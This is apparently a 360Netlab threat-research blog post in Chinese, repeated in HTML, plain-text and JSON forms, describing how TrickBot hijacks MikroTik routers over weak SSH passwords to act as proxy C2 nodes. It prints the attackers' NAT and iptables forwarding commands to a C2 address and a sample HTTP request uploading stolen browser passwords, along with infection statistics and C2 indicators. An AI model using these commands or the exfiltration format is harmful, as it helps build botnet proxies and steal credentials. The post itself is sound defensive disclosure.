我们视野下的TrickBot
<!--kg-card-begin: markdown--><h1 id="">版权</h1>
<p>版权声明：本文为360Netlab原创，依据<a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0 </a>许可证进行授权，转载请附上出处链接及本声明。</p>
<h1 id="">背景</h1>
<p>2021年01月08日，360Netlab首次观察到<a href="https://www.fortinet.com/blog/threat-research/new-variant-of-trickbot-being-spread-by-word-document"><strong>TrickBot</strong></a>通过IP 45.89.125.253在互联网上尝试入侵MikroTik Router设备，构建其一级转发代理C2，用来和二级真实C2通信。<br>
<img src="__GHOST_URL__/content/images/2021/01/Snip20210130_65.png" alt="Snip20210130_65" loading="lazy"></p>
<p>我们知道TrickBot网络基础设施是由多级C2的组成，第一级代理C2一般是被黑的主机或IoT设备，这样可以很好的隐藏背后真实的C2主机。我们蜜罐由于智能自动化交互，具有高度的迷惑性，被TrickBot master认为在我们蜜罐主机上成功部署一级代理C2。这样，我们几乎有了幕后操纵者的视角，通过蜜罐收集到了被感染主机的连接请求和背后大量的数据。</p>
<p>Trickbot是一个臭名昭著的网银木马，自2016年被曝光后一直处于非常活跃的状态。经过多年的开发&amp;运营，TrickBot已经变成了一个功能复杂的模块化恶意软件，它可以窃取多种登录凭证，浏览器表单信息，加密货币钱包、窃取邮件信息，收集主机信息甚至还会投递勒索软件，其背后的团伙甚至和APT组织Lazarus合作，定制开发了APT攻击平台TrickBot Anchor。</p>
<p>TrickBot的活跃，让它成为了安全厂商的重点打击对象，<a href="https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/"><strong>2020年微软和美国执法机构开展的联合打击行动</strong></a>曾重创TrickBot僵尸网络。但是TrickBot并没有走向消亡，此后它借助Emotet强大的传播能力快速恢复。从目前我们的数据来看，它已基本上完成了基础网络设施的重建。</p>
<h1 id="trickbot">TrickBot代理构建过程</h1>
<p>我们观察到TrickBot通过SSH弱口令登录成功后，在目标机器上建立流量转发规则将指定端口(<code>443,449</code>等)的流量转发到第二级CC的方式构建TrickBot一级代理。TrickBot寻找的用来一级代理的目标机器是MikroTik Router，这一点主要通过TrickBot创建流量转发规则的<a href="https://help.mikrotik.com/docs/display/ROS/NAT">firewall</a>命令(例如:<code>/ip firewall nat remove [find where to-addresses=45.89.125.253]</code>)判断。 其构建代理的主要过程如下:<br>
<img src="__GHOST_URL__/content/images/2021/01/Snip20210130_56-1.png" alt="Snip20210130_56-1" loading="lazy"></p>
<p>TrickBot流量转发规则样例:</p>
<pre><code>/ip firewall nat remove [find where to-addresses=192.187.121.58]
/ip firewall nat remove [find where to-addresses=185.14.31.222]
/ip firewall nat remove [find where to-addresses=217.12.203.191]
/ip firewall nat remove [find where to-addresses=45.89.125.253]

/ip firewall nat add chain=dstnat proto=tcp dst-port=449 to-port=80 action=dst-nat to-addresses=45.89.125.253 dst-address={Victim IP}
/ip firewall nat add chain=dstnat proto=tcp dst-port=443   to-port=80 action=dst-nat to-addresses=45.89.125.253 dst-address={Victim IP}
/ip firewall nat add chain=srcnat action=masquerade src-address={Victim IP}
iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 449 --to-destination 45.89.125.253:80 -d {Victim IP}
sudo iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 449 --to-destination 45.89.125.253:80 -d {Victim IP}
iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 443 --to-destination 45.89.125.253:80 -d {Victim IP}
sudo iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 443 --to-destination 45.89.125.253:80 -d {Victim IP}
</code></pre>
<h1 id="">感染规模</h1>
<p>我们观察到TrickBot一共感染了<code>10万</code>多台机器(根据TrickBot http请求中的Client ID计算)。</p>
<p>活跃Bot IP趋势如下：<br>
<img src="__GHOST_URL__/content/images/2021/02/Snip20210225_7.png" alt="Snip20210225_7" loading="lazy"></p>
<p>被感染机器主要分布在美国和欧洲，其Bot源IP地区分布如下：<br>
<img src="__GHOST_URL__/content/images/2021/02/Snip20210225_9.png" alt="Snip20210225_9" loading="lazy"></p>
<p>Bot源IP ASN分布如下：</p>
<pre><code>1353	AS6799 OTEnet S.A.
885	AS5384 Emirates Telecommunications Corporation
796	AS3352 Telefonica De Espana
607	AS8708 RCS &amp; RDS
577	AS3269 Telecom Italia
515	AS25019 Saudi Telecom Company JSC
498	AS7922 COMCAST-7922
470	AS19084 COLOUP
469	AS1267 Wind Tre S.p.A.
442	AS16276 OVH SAS
437	AS30722 Vodafone Italia S.p.A.
340	AS3329 Vodafone-panafon Hellenic Telecommunications Company SA
323	AS3320 Deutsche Telekom AG
305	AS9009 M247 Ltd
293	AS60068 Datacamp Limited
284	AS12479 Orange Espagne SA
281	AS209 CENTURYLINK-US-LEGACY-QWEST
280	AS39891 Saudi Telecom Company JSC
271	AS7018 ATT-INTERNET4
257	AS1241 Forthnet
243	AS12874 Fastweb
234	AS25472 Wind Hellas Telecommunications SA
214	AS577 BACOM
206	AS8075 MICROSOFT-CORP-MSN-AS-BLOCK
204	AS12430 Vodafone Spain
196	AS43766 MTC KSA
194	AS6830 Liberty Global B.V.
179	AS16509 AMAZON-02
176	AS15169 GOOGLE
170	AS9050 Telekom Romania Communication S.A
162	AS20115 CHARTER-20115
160	AS701 UUNET
157	AS9329 Sri Lanka Telecom Internet
155	AS8781 Ooredoo Q.S.C.
149	AS15802 Emirates Integrated Telecommunications Company PJSC
144	AS14061 DIGITALOCEAN-ASN
141	AS3209 Vodafone GmbH
140	AS16232 Telecom Italia
134	AS206067 Three
133	AS53667 PONYNET
129	AS15704 Xtra Telecom S.A.
123	AS22773 ASN-CXA-ALL-CCI-22773-RDC
120	AS4808 China Unicom Beijing Province Network
118	AS18001 Dialog Axiata PLC.
115	AS203507 Avira Holding GmbH &amp; Co. KG
98	AS10796 TWC-10796-MIDWEST
94	AS5607 Sky UK Limited
89	AS11427 TWC-11427-TEXAS
89	AS62744 QUINTEX
87	AS20001 TWC-20001-PACWE
</code></pre>
<h1 id="">窃取数据统计</h1>
<p>我们观察到Trickbot从受害者机器窃取了一共15万左右的登录凭据，主要包括网站、Windows远程登录、VNC、电子邮箱等十几种应用的登录凭据。以及来自浏览器form表单保存的5万多个Email地址和1千多张银行卡信息。其中登录凭据涉及7万多个网站。其窃取的用户数据涉及的协议种类以及来源分布如下：<br>
<a href="__GHOST_URL__/content/images/2021/03/Snip20210301_19b.png"><img src="__GHOST_URL__/content/images/2021/03/Snip20210301_19.png" class="kg-image"/></a></p>
<p>部分TrickBot窃取的登录凭证对应的SLD，详细的SLD列表见文末。<br>
<img src="__GHOST_URL__/content/images/2021/02/Snip20210225_11.png" alt="Snip20210225_11" loading="lazy"></p>
<p>Trickbot窃取数据上传CC请求示例:</p>
<pre><code>POST /mor132/L-PC_W617601.*/81/ HTTP/1.1
Accept: */*
Content-Type: multipart/form-data; boundary=---------EPJILQEWDEXUTOBV
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; wbxapp 1.0.0; wbx 1.0.0)
Host: {}
Content-Length: 883
Cache-Control: no-cache
Cookie: SESSID=da122263a2bd
-----------EPJILQEWDEXUTOBV
Content-Disposition: form-data; name=&quot;data&quot;
https://login.gsis.gr|user*|*372
https://login.yahoo.com|zan*@yahoo.gr|*
https://login.yahoo.com|x.xri*@yahoo.gr|*
https://ape.dapeep.gr|x.xri*s@yahoo.gr|sola*
https://login.gsis.gr|*|nikos*
https://login.gsis.gr|USER*|*
https://ape.dapeep.gr|x.*@gmail.com|*
https://www1.gsis.gr|user*|*
-----------EPJILQEWDEXUTOBV
Content-Disposition: form-data; name=&quot;source&quot;
firefox passwords
-----------EPJILQEWDEXUTOBV--
</code></pre>
<h1 id="">联系我们</h1>
<p>如果需要，对应的机构或者国家cert可以联系我们获取相关数据，以便处理相关事件。联系方式： <a href="https://twitter.com/360Netlab">twitter</a> 。</p>
<h1 id="ioc">IoC</h1>
<h3 id="cc">CC</h3>
<pre><code>46.28.69.129	AS15626|ITL_LLC
185.14.31.222	AS21100|ITL_LLC
209.126.119.88	AS30083|HEG_US_Inc.
87.76.21.20	AS202521|Nexcess.net_L.L.C.
128.30.52.39	AS3|Massachusetts_Institute_of_Technology
45.89.125.253	AS174|Cogent_Communications
51.89.125.117	AS16276|OVH_SAS
217.12.218.109	AS21100|ITL_LLC
64.44.51.70	AS20278|Nexeon_Technologies,_Inc.
185.244.150.26	AS60117|Host_Sailor_Ltd.
91.194.84.115	AS24961|myLoc_managed_IT_AG
192.99.211.47	AS16276|OVH_SAS
37.46.132.106	AS29182|JSC_The_First
84.22.116.81	AS196752|Tilaa_B.V.
185.222.201.63	ASNone;
51.38.147.101	AS16276|OVH_SAS
195.123.240.147	AS204957|ITL-Bulgaria_Ltd.
46.28.69.153	AS15626|ITL_LLC
46.28.69.81	AS15626|ITL_LLC
185.64.105.36	AS61272|Informacines_sistemos_ir_technologijos,_UAB
185.64.105.32	AS61272|Informacines_sistemos_ir_technologijos,_UAB
79.141.160.187	AS202015|HZ_Hosting_Ltd
85.25.100.224	AS8972|Host_Europe_GmbH
192.187.121.58	AS33387|DataShack,_LC
170.130.55.84	AS62904|Eonix_Corporation
31.14.40.68	AS19624|Data_Room,_Inc
5.182.211.218	AS64425|SKB_Enterprise_B.V.
217.12.203.191	AS59729|ITL_LLC
82.146.41.221	AS29182|JSC_The_First
69.64.34.255	AS30083|HEG_US_Inc.
148.251.27.246	AS24940|Hetzner_Online_GmbH
198.12.71.126	AS36352|ColoCrossing
92.63.98.252	AS29182|JSC_The_First
148.251.27.244	AS24940|Hetzner_Online_GmbH
46.28.68.169	AS15626|ITL_LLC
195.123.213.249	AS50979|ITL_LLC
</code></pre>
<h1 id="">附录</h1>
<ul>
<li><a href="https://data.netlab.360.com/feeds/share/trickbot.sld.txt">TrickBot窃取的登录凭证对应的SLD</a></li>
</ul>
<!--kg-card-end: markdown-->
版权


版权声明：本文为360Netlab原创，依据CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。



背景


2021年01月08日，360Netlab首次观察到TrickBot通过IP 45.89.125.253在互联网上尝试入侵MikroTik Router设备，构建其一级转发代理C2，用来和二级真实C2通信。




我们知道TrickBot网络基础设施是由多级C2的组成，第一级代理C2一般是被黑的主机或IoT设备，这样可以很好的隐藏背后真实的C2主机。我们蜜罐由于智能自动化交互，具有高度的迷惑性，被TrickBot master认为在我们蜜罐主机上成功部署一级代理C2。这样，我们几乎有了幕后操纵者的视角，通过蜜罐收集到了被感染主机的连接请求和背后大量的数据。


Trickbot是一个臭名昭著的网银木马，自2016年被曝光后一直处于非常活跃的状态。经过多年的开发&运营，TrickBot已经变成了一个功能复杂的模块化恶意软件，它可以窃取多种登录凭证，浏览器表单信息，加密货币钱包、窃取邮件信息，收集主机信息甚至还会投递勒索软件，其背后的团伙甚至和APT组织Lazarus合作，定制开发了APT攻击平台TrickBot Anchor。


TrickBot的活跃，让它成为了安全厂商的重点打击对象，2020年微软和美国执法机构开展的联合打击行动曾重创TrickBot僵尸网络。但是TrickBot并没有走向消亡，此后它借助Emotet强大的传播能力快速恢复。从目前我们的数据来看，它已基本上完成了基础网络设施的重建。



TrickBot代理构建过程


我们观察到TrickBot通过SSH弱口令登录成功后，在目标机器上建立流量转发规则将指定端口(443,449等)的流量转发到第二级CC的方式构建TrickBot一级代理。TrickBot寻找的用来一级代理的目标机器是MikroTik Router，这一点主要通过TrickBot创建流量转发规则的firewall命令(例如:/ip firewall nat remove [find where to-addresses=45.89.125.253])判断。 其构建代理的主要过程如下:




TrickBot流量转发规则样例:


/ip firewall nat remove [find where to-addresses=192.187.121.58]
/ip firewall nat remove [find where to-addresses=185.14.31.222]
/ip firewall nat remove [find where to-addresses=217.12.203.191]
/ip firewall nat remove [find where to-addresses=45.89.125.253]

/ip firewall nat add chain=dstnat proto=tcp dst-port=449 to-port=80 action=dst-nat to-addresses=45.89.125.253 dst-address={Victim IP}
/ip firewall nat add chain=dstnat proto=tcp dst-port=443   to-port=80 action=dst-nat to-addresses=45.89.125.253 dst-address={Victim IP}
/ip firewall nat add chain=srcnat action=masquerade src-address={Victim IP}
iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 449 --to-destination 45.89.125.253:80 -d {Victim IP}
sudo iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 449 --to-destination 45.89.125.253:80 -d {Victim IP}
iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 443 --to-destination 45.89.125.253:80 -d {Victim IP}
sudo iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 443 --to-destination 45.89.125.253:80 -d {Victim IP}




感染规模


我们观察到TrickBot一共感染了10万多台机器(根据TrickBot http请求中的Client ID计算)。


活跃Bot IP趋势如下：




被感染机器主要分布在美国和欧洲，其Bot源IP地区分布如下：




Bot源IP ASN分布如下：


1353	AS6799 OTEnet S.A.
885	AS5384 Emirates Telecommunications Corporation
796	AS3352 Telefonica De Espana
607	AS8708 RCS & RDS
577	AS3269 Telecom Italia
515	AS25019 Saudi Telecom Company JSC
498	AS7922 COMCAST-7922
470	AS19084 COLOUP
469	AS1267 Wind Tre S.p.A.
442	AS16276 OVH SAS
437	AS30722 Vodafone Italia S.p.A.
340	AS3329 Vodafone-panafon Hellenic Telecommunications Company SA
323	AS3320 Deutsche Telekom AG
305	AS9009 M247 Ltd
293	AS60068 Datacamp Limited
284	AS12479 Orange Espagne SA
281	AS209 CENTURYLINK-US-LEGACY-QWEST
280	AS39891 Saudi Telecom Company JSC
271	AS7018 ATT-INTERNET4
257	AS1241 Forthnet
243	AS12874 Fastweb
234	AS25472 Wind Hellas Telecommunications SA
214	AS577 BACOM
206	AS8075 MICROSOFT-CORP-MSN-AS-BLOCK
204	AS12430 Vodafone Spain
196	AS43766 MTC KSA
194	AS6830 Liberty Global B.V.
179	AS16509 AMAZON-02
176	AS15169 GOOGLE
170	AS9050 Telekom Romania Communication S.A
162	AS20115 CHARTER-20115
160	AS701 UUNET
157	AS9329 Sri Lanka Telecom Internet
155	AS8781 Ooredoo Q.S.C.
149	AS15802 Emirates Integrated Telecommunications Company PJSC
144	AS14061 DIGITALOCEAN-ASN
141	AS3209 Vodafone GmbH
140	AS16232 Telecom Italia
134	AS206067 Three
133	AS53667 PONYNET
129	AS15704 Xtra Telecom S.A.
123	AS22773 ASN-CXA-ALL-CCI-22773-RDC
120	AS4808 China Unicom Beijing Province Network
118	AS18001 Dialog Axiata PLC.
115	AS203507 Avira Holding GmbH & Co. KG
98	AS10796 TWC-10796-MIDWEST
94	AS5607 Sky UK Limited
89	AS11427 TWC-11427-TEXAS
89	AS62744 QUINTEX
87	AS20001 TWC-20001-PACWE




窃取数据统计


我们观察到Trickbot从受害者机器窃取了一共15万左右的登录凭据，主要包括网站、Windows远程登录、VNC、电子邮箱等十几种应用的登录凭据。以及来自浏览器form表单保存的5万多个Email地址和1千多张银行卡信息。其中登录凭据涉及7万多个网站。其窃取的用户数据涉及的协议种类以及来源分布如下：




部分TrickBot窃取的登录凭证对应的SLD，详细的SLD列表见文末。




Trickbot窃取数据上传CC请求示例:


POST /mor132/L-PC_W617601.*/81/ HTTP/1.1
Accept: */*
Content-Type: multipart/form-data; boundary=---------EPJILQEWDEXUTOBV
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; wbxapp 1.0.0; wbx 1.0.0)
Host: {}
Content-Length: 883
Cache-Control: no-cache
Cookie: SESSID=da122263a2bd
-----------EPJILQEWDEXUTOBV
Content-Disposition: form-data; name="data"
https://login.gsis.gr|user*|*372
https://login.yahoo.com|zan*@yahoo.gr|*
https://login.yahoo.com|x.xri*@yahoo.gr|*
https://ape.dapeep.gr|x.xri*s@yahoo.gr|sola*
https://login.gsis.gr|*|nikos*
https://login.gsis.gr|USER*|*
https://ape.dapeep.gr|x.*@gmail.com|*
https://www1.gsis.gr|user*|*
-----------EPJILQEWDEXUTOBV
Content-Disposition: form-data; name="source"
firefox passwords
-----------EPJILQEWDEXUTOBV--




联系我们


如果需要，对应的机构或者国家cert可以联系我们获取相关数据，以便处理相关事件。联系方式： twitter 。



IoC



CC


46.28.69.129	AS15626|ITL_LLC
185.14.31.222	AS21100|ITL_LLC
209.126.119.88	AS30083|HEG_US_Inc.
87.76.21.20	AS202521|Nexcess.net_L.L.C.
128.30.52.39	AS3|Massachusetts_Institute_of_Technology
45.89.125.253	AS174|Cogent_Communications
51.89.125.117	AS16276|OVH_SAS
217.12.218.109	AS21100|ITL_LLC
64.44.51.70	AS20278|Nexeon_Technologies,_Inc.
185.244.150.26	AS60117|Host_Sailor_Ltd.
91.194.84.115	AS24961|myLoc_managed_IT_AG
192.99.211.47	AS16276|OVH_SAS
37.46.132.106	AS29182|JSC_The_First
84.22.116.81	AS196752|Tilaa_B.V.
185.222.201.63	ASNone;
51.38.147.101	AS16276|OVH_SAS
195.123.240.147	AS204957|ITL-Bulgaria_Ltd.
46.28.69.153	AS15626|ITL_LLC
46.28.69.81	AS15626|ITL_LLC
185.64.105.36	AS61272|Informacines_sistemos_ir_technologijos,_UAB
185.64.105.32	AS61272|Informacines_sistemos_ir_technologijos,_UAB
79.141.160.187	AS202015|HZ_Hosting_Ltd
85.25.100.224	AS8972|Host_Europe_GmbH
192.187.121.58	AS33387|DataShack,_LC
170.130.55.84	AS62904|Eonix_Corporation
31.14.40.68	AS19624|Data_Room,_Inc
5.182.211.218	AS64425|SKB_Enterprise_B.V.
217.12.203.191	AS59729|ITL_LLC
82.146.41.221	AS29182|JSC_The_First
69.64.34.255	AS30083|HEG_US_Inc.
148.251.27.246	AS24940|Hetzner_Online_GmbH
198.12.71.126	AS36352|ColoCrossing
92.63.98.252	AS29182|JSC_The_First
148.251.27.244	AS24940|Hetzner_Online_GmbH
46.28.68.169	AS15626|ITL_LLC
195.123.213.249	AS50979|ITL_LLC




附录


 * TrickBot窃取的登录凭证对应的SLD

{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 版权\n版权声明：本文为360Netlab原创，依据[CC BY-SA 4.0 ](https://creativecommons.org/licenses/by-sa/4.0/)许可证进行授权，转载请附上出处链接及本声明。\n\n# 背景\n2021年01月08日，360Netlab首次观察到[**TrickBot**](https://www.fortinet.com/blog/threat-research/new-variant-of-trickbot-being-spread-by-word-document)通过IP 45.89.125.253在互联网上尝试入侵MikroTik Router设备，构建其一级转发代理C2，用来和二级真实C2通信。\n![Snip20210130_65](__GHOST_URL__/content/images/2021/01/Snip20210130_65.png)\n\n我们知道TrickBot网络基础设施是由多级C2的组成，第一级代理C2一般是被黑的主机或IoT设备，这样可以很好的隐藏背后真实的C2主机。我们蜜罐由于智能自动化交互，具有高度的迷惑性，被TrickBot master认为在我们蜜罐主机上成功部署一级代理C2。这样，我们几乎有了幕后操纵者的视角，通过蜜罐收集到了被感染主机的连接请求和背后大量的数据。\n\nTrickbot是一个臭名昭著的网银木马，自2016年被曝光后一直处于非常活跃的状态。经过多年的开发&运营，TrickBot已经变成了一个功能复杂的模块化恶意软件，它可以窃取多种登录凭证，浏览器表单信息，加密货币钱包、窃取邮件信息，收集主机信息甚至还会投递勒索软件，其背后的团伙甚至和APT组织Lazarus合作，定制开发了APT攻击平台TrickBot Anchor。\n\nTrickBot的活跃，让它成为了安全厂商的重点打击对象，[**2020年微软和美国执法机构开展的联合打击行动**](https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/)曾重创TrickBot僵尸网络。但是TrickBot并没有走向消亡，此后它借助Emotet强大的传播能力快速恢复。从目前我们的数据来看，它已基本上完成了基础网络设施的重建。\n\n\n\n# TrickBot代理构建过程\n我们观察到TrickBot通过SSH弱口令登录成功后，在目标机器上建立流量转发规则将指定端口(`443,449`等)的流量转发到第二级CC的方式构建TrickBot一级代理。TrickBot寻找的用来一级代理的目标机器是MikroTik Router，这一点主要通过TrickBot创建流量转发规则的[firewall](https://help.mikrotik.com/docs/display/ROS/NAT)命令(例如:`/ip firewall nat remove [find where to-addresses=45.89.125.253]`)判断。 其构建代理的主要过程如下:\n![Snip20210130_56-1](__GHOST_URL__/content/images/2021/01/Snip20210130_56-1.png)\n\nTrickBot流量转发规则样例:\n```\n/ip firewall nat remove [find where to-addresses=192.187.121.58]\n/ip firewall nat remove [find where to-addresses=185.14.31.222]\n/ip firewall nat remove [find where to-addresses=217.12.203.191]\n/ip firewall nat remove [find where to-addresses=45.89.125.253]\n\n/ip firewall nat add chain=dstnat proto=tcp dst-port=449 to-port=80 action=dst-nat to-addresses=45.89.125.253 dst-address={Victim IP}\n/ip firewall nat add chain=dstnat proto=tcp dst-port=443   to-port=80 action=dst-nat to-addresses=45.89.125.253 dst-address={Victim IP}\n/ip firewall nat add chain=srcnat action=masquerade src-address={Victim IP}\niptables -t nat -A PREROUTING -j DNAT -p tcp --dport 449 --to-destination 45.89.125.253:80 -d {Victim IP}\nsudo iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 449 --to-destination 45.89.125.253:80 -d {Victim IP}\niptables -t nat -A PREROUTING -j DNAT -p tcp --dport 443 --to-destination 45.89.125.253:80 -d {Victim IP}\nsudo iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 443 --to-destination 45.89.125.253:80 -d {Victim IP}\n```\n\n# 感染规模\n我们观察到TrickBot一共感染了`10万`多台机器(根据TrickBot http请求中的Client ID计算)。\n\n活跃Bot IP趋势如下：\n![Snip20210225_7](__GHOST_URL__/content/images/2021/02/Snip20210225_7.png)\n\n\n被感染机器主要分布在美国和欧洲，其Bot源IP地区分布如下：\n![Snip20210225_9](__GHOST_URL__/content/images/2021/02/Snip20210225_9.png)\n\nBot源IP ASN分布如下：\n```\n1353\tAS6799 OTEnet S.A.\n885\tAS5384 Emirates Telecommunications Corporation\n796\tAS3352 Telefonica De Espana\n607\tAS8708 RCS & RDS\n577\tAS3269 Telecom Italia\n515\tAS25019 Saudi Telecom Company JSC\n498\tAS7922 COMCAST-7922\n470\tAS19084 COLOUP\n469\tAS1267 Wind Tre S.p.A.\n442\tAS16276 OVH SAS\n437\tAS30722 Vodafone Italia S.p.A.\n340\tAS3329 Vodafone-panafon Hellenic Telecommunications Company SA\n323\tAS3320 Deutsche Telekom AG\n305\tAS9009 M247 Ltd\n293\tAS60068 Datacamp Limited\n284\tAS12479 Orange Espagne SA\n281\tAS209 CENTURYLINK-US-LEGACY-QWEST\n280\tAS39891 Saudi Telecom Company JSC\n271\tAS7018 ATT-INTERNET4\n257\tAS1241 Forthnet\n243\tAS12874 Fastweb\n234\tAS25472 Wind Hellas Telecommunications SA\n214\tAS577 BACOM\n206\tAS8075 MICROSOFT-CORP-MSN-AS-BLOCK\n204\tAS12430 Vodafone Spain\n196\tAS43766 MTC KSA\n194\tAS6830 Liberty Global B.V.\n179\tAS16509 AMAZON-02\n176\tAS15169 GOOGLE\n170\tAS9050 Telekom Romania Communication S.A\n162\tAS20115 CHARTER-20115\n160\tAS701 UUNET\n157\tAS9329 Sri Lanka Telecom Internet\n155\tAS8781 Ooredoo Q.S.C.\n149\tAS15802 Emirates Integrated Telecommunications Company PJSC\n144\tAS14061 DIGITALOCEAN-ASN\n141\tAS3209 Vodafone GmbH\n140\tAS16232 Telecom Italia\n134\tAS206067 Three\n133\tAS53667 PONYNET\n129\tAS15704 Xtra Telecom S.A.\n123\tAS22773 ASN-CXA-ALL-CCI-22773-RDC\n120\tAS4808 China Unicom Beijing Province Network\n118\tAS18001 Dialog Axiata PLC.\n115\tAS203507 Avira Holding GmbH & Co. KG\n98\tAS10796 TWC-10796-MIDWEST\n94\tAS5607 Sky UK Limited\n89\tAS11427 TWC-11427-TEXAS\n89\tAS62744 QUINTEX\n87\tAS20001 TWC-20001-PACWE\n```\n# 窃取数据统计\n我们观察到Trickbot从受害者机器窃取了一共15万左右的登录凭据，主要包括网站、Windows远程登录、VNC、电子邮箱等十几种应用的登录凭据。以及来自浏览器form表单保存的5万多个Email地址和1千多张银行卡信息。其中登录凭据涉及7万多个网站。其窃取的用户数据涉及的协议种类以及来源分布如下：\n<a href=\"__GHOST_URL__/content/images/2021/03/Snip20210301_19b.png\"><img src=\"__GHOST_URL__/content/images/2021/03/Snip20210301_19.png\" class=\"kg-image\"/></a>\n\n部分TrickBot窃取的登录凭证对应的SLD，详细的SLD列表见文末。\n![Snip20210225_11](__GHOST_URL__/content/images/2021/02/Snip20210225_11.png)\n\nTrickbot窃取数据上传CC请求示例:\n\n```\nPOST /mor132/L-PC_W617601.*/81/ HTTP/1.1\nAccept: */*\nContent-Type: multipart/form-data; boundary=---------EPJILQEWDEXUTOBV\nConnection: Close\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; wbxapp 1.0.0; wbx 1.0.0)\nHost: {}\nContent-Length: 883\nCache-Control: no-cache\nCookie: SESSID=da122263a2bd\n-----------EPJILQEWDEXUTOBV\nContent-Disposition: form-data; name=\"data\"\nhttps://login.gsis.gr|user*|*372\nhttps://login.yahoo.com|zan*@yahoo.gr|*\nhttps://login.yahoo.com|x.xri*@yahoo.gr|*\nhttps://ape.dapeep.gr|x.xri*s@yahoo.gr|sola*\nhttps://login.gsis.gr|*|nikos*\nhttps://login.gsis.gr|USER*|*\nhttps://ape.dapeep.gr|x.*@gmail.com|*\nhttps://www1.gsis.gr|user*|*\n-----------EPJILQEWDEXUTOBV\nContent-Disposition: form-data; name=\"source\"\nfirefox passwords\n-----------EPJILQEWDEXUTOBV--\n```\n\n# 联系我们\n如果需要，对应的机构或者国家cert可以联系我们获取相关数据，以便处理相关事件。联系方式： [twitter](https://twitter.com/360Netlab) 。\n\n# IoC\n### CC\n```\n46.28.69.129\tAS15626|ITL_LLC\n185.14.31.222\tAS21100|ITL_LLC\n209.126.119.88\tAS30083|HEG_US_Inc.\n87.76.21.20\tAS202521|Nexcess.net_L.L.C.\n128.30.52.39\tAS3|Massachusetts_Institute_of_Technology\n45.89.125.253\tAS174|Cogent_Communications\n51.89.125.117\tAS16276|OVH_SAS\n217.12.218.109\tAS21100|ITL_LLC\n64.44.51.70\tAS20278|Nexeon_Technologies,_Inc.\n185.244.150.26\tAS60117|Host_Sailor_Ltd.\n91.194.84.115\tAS24961|myLoc_managed_IT_AG\n192.99.211.47\tAS16276|OVH_SAS\n37.46.132.106\tAS29182|JSC_The_First\n84.22.116.81\tAS196752|Tilaa_B.V.\n185.222.201.63\tASNone;\n51.38.147.101\tAS16276|OVH_SAS\n195.123.240.147\tAS204957|ITL-Bulgaria_Ltd.\n46.28.69.153\tAS15626|ITL_LLC\n46.28.69.81\tAS15626|ITL_LLC\n185.64.105.36\tAS61272|Informacines_sistemos_ir_technologijos,_UAB\n185.64.105.32\tAS61272|Informacines_sistemos_ir_technologijos,_UAB\n79.141.160.187\tAS202015|HZ_Hosting_Ltd\n85.25.100.224\tAS8972|Host_Europe_GmbH\n192.187.121.58\tAS33387|DataShack,_LC\n170.130.55.84\tAS62904|Eonix_Corporation\n31.14.40.68\tAS19624|Data_Room,_Inc\n5.182.211.218\tAS64425|SKB_Enterprise_B.V.\n217.12.203.191\tAS59729|ITL_LLC\n82.146.41.221\tAS29182|JSC_The_First\n69.64.34.255\tAS30083|HEG_US_Inc.\n148.251.27.246\tAS24940|Hetzner_Online_GmbH\n198.12.71.126\tAS36352|ColoCrossing\n92.63.98.252\tAS29182|JSC_The_First\n148.251.27.244\tAS24940|Hetzner_Online_GmbH\n46.28.68.169\tAS15626|ITL_LLC\n195.123.213.249\tAS50979|ITL_LLC\n```\n\n# 附录\n- [TrickBot窃取的登录凭证对应的SLD](https://data.netlab.360.com/feeds/share/trickbot.sld.txt)\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}